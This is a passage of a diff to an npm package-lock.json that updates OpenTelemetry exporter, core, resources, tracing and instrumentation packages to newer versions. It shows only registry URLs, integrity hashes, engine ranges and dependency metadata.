+ }, + "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/resources": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.203.0.tgz", + "integrity": "sha512-322coOTf81bm6cAA8+ML6A+m4r2xTCdmAZzGNTboPXRzhwPt4JEmovsFAs+grpdarObd68msOJ9FfH3jxM6wqA==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.7.1", + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-trace-base": "2.0.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/sdk-trace-base": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz", - "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz", + "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-http": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.51.1.tgz", - "integrity": "sha512-n+LhLPsX07URh+HhV2SHVSvz1t4G/l/CE5BjpmhAPqeTceFac1VpyQkavWEJbvnK5bUEXijWt4LxAxFpt2fXyw==", + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.203.0.tgz", + "integrity": "sha512-ZDiaswNYo0yq/cy1bBLJFe691izEJ6IgNmkjm4C6kE9ub/OMQqDXORx2D2j8fzTBTxONyzusbaZlqtfmyqURPw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/otlp-exporter-base": "0.51.1", - "@opentelemetry/otlp-transformer": "0.51.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/sdk-trace-base": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-trace-base": "2.0.1" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": "^1.0.0" + "@opentelemetry/api": "^1.3.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/sdk-trace-base": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz", - "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz", + "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-proto": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-proto/-/exporter-trace-otlp-proto-0.51.1.tgz", - "integrity": "sha512-SE9f0/6V6EeXC9i+WA4WFjS1EYgaBCpAnI5+lxWvZ7iO7EU1IvHvZhP6Kojr0nLldo83gqg6G7OWFqsID3uF+w==", + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-proto/-/exporter-trace-otlp-proto-0.203.0.tgz", + "integrity": "sha512-1xwNTJ86L0aJmWRwENCJlH4LULMG2sOXWIVw+Szta4fkqKVY50Eo4HoVKKq6U9QEytrWCr8+zjw0q/ZOeXpcAQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/otlp-exporter-base": "0.51.1", - "@opentelemetry/otlp-proto-exporter-base": "0.51.1", - "@opentelemetry/otlp-transformer": "0.51.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/sdk-trace-base": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-trace-base": "2.0.1" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": "^1.0.0" + "@opentelemetry/api": "^1.3.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz", - "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz", + "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-zipkin": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-1.24.1.tgz", - "integrity": "sha512-+Rl/VFmu2n6eaRMnVbyfZx1DqR/1KNyWebYuHyQBZaEAVIn/ZLgmofRpXN1X2nhJ4BNaptQUNxAstCYYz6dKoQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-2.0.1.tgz", + "integrity": "sha512-a9eeyHIipfdxzCfc2XPrE+/TI3wmrZUDFtG2RRXHSbZZULAny7SyybSvaDvS77a7iib5MPiAvluwVvbGTsHxsw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/sdk-trace-base": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-trace-base": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { "@opentelemetry/api": "^1.0.0" } }, "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/sdk-trace-base": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz", - "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz", + "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/instrumentation": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.51.1.tgz", - "integrity": "sha512-JIrvhpgqY6437QIqToyozrUG1h5UhwHkaGK/WAX+fkrpyPtc+RO5FkRtUd9BH0MibabHHvqsnBGKfKVijbmp8w==", + "version": "0.207.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.207.0.tgz", + "integrity": "sha512-y6eeli9+TLKnznrR8AZlQMSJT7wILpXH+6EYq5Vf/4Ao+huI7EedxQHwRgVUOMLFbe7VFDvHJrX9/f4lcwnJsA==", "license": "Apache-2.0", + "peer": true, "dependencies": { - "@opentelemetry/api-logs": "0.51.1", - "@types/shimmer": "^1.0.2", - "import-in-the-middle": "1.7.4", - "require-in-the-middle": "^7.1.1", - "semver": "^7.5.2", - "shimmer": "^1.2.1" + "@opentelemetry/api-logs": "0.207.0", + "import-in-the-middle": "^2.0.0", + "require-in-the-middle": "^8.0.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "node_modules/@opentelemetry/otlp-exporter-base": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.51.1.tgz", - "integrity": "sha512-UYlnOYyDdzo1Gw559EHCzru0RwhvuXCwoH8jGo9J4gO1TE58GjnEmIjomMsKBCym3qWNJfIQXw+9SZCV0DdQNg==", + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.203.0.tgz", + "integrity": "sha512-Wbxf7k+87KyvxFr5D7uOiSq/vHXWommvdnNE7vECO3tAhsA2GfOlpWINCMWUEPdHZ7tCXxw6Epp3vgx3jU7llQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-transformer": "0.203.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": "^1.0.0" + "@opentelemetry/api": "^1.3.0" } }, "node_modules/@opentelemetry/otlp-exporter-base/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/otlp-exporter-base/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/otlp-grpc-exporter-base": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-grpc-exporter-base/-/otlp-grpc-exporter-base-0.51.1.tgz", - "integrity": "sha512-ZAS+4pq8o7dsugGTwV9s6JMKSxi+guIHdn0acOv0bqj26e9pWDFx5Ky+bI0aY46uR9Y0JyXqY+KAEYM/SO3DFA==", + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-grpc-exporter-base/-/otlp-grpc-exporter-base-0.203.0.tgz", + "integrity": "sha512-te0Ze1ueJF+N/UOFl5jElJW4U0pZXQ8QklgSfJ2linHN0JJsuaHG8IabEUi2iqxY8ZBDlSiz1Trfv5JcjWWWwQ==", "license": "Apache-2.0", "dependencies": { "@grpc/grpc-js": "^1.7.1", - "@opentelemetry/core": "1.24.1", - "@opentelemetry/otlp-exporter-base": "0.51.1", - "protobufjs": "^7.2.3" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": "^1.0.0" + "@opentelemetry/api": "^1.3.0" } }, "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@opentelemetry/otlp-proto-exporter-base": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-proto-exporter-base/-/otlp-proto-exporter-base-0.51.1.tgz", - "integrity": "sha512-gxxxwfk0inDMb5DLeuxQ3L8TtptxSiTNHE4nnAJH34IQXAVRhXSXW1rK8PmDKDngRPIZ6J7ncUCjjIn8b+AgqQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/otlp-exporter-base": "0.51.1", - "protobufjs": "^7.2.3" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.0.0" - } - }, - "node_modules/@opentelemetry/otlp-proto-exporter-base/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/otlp-proto-exporter-base/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/otlp-transformer": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.51.1.tgz", - "integrity": 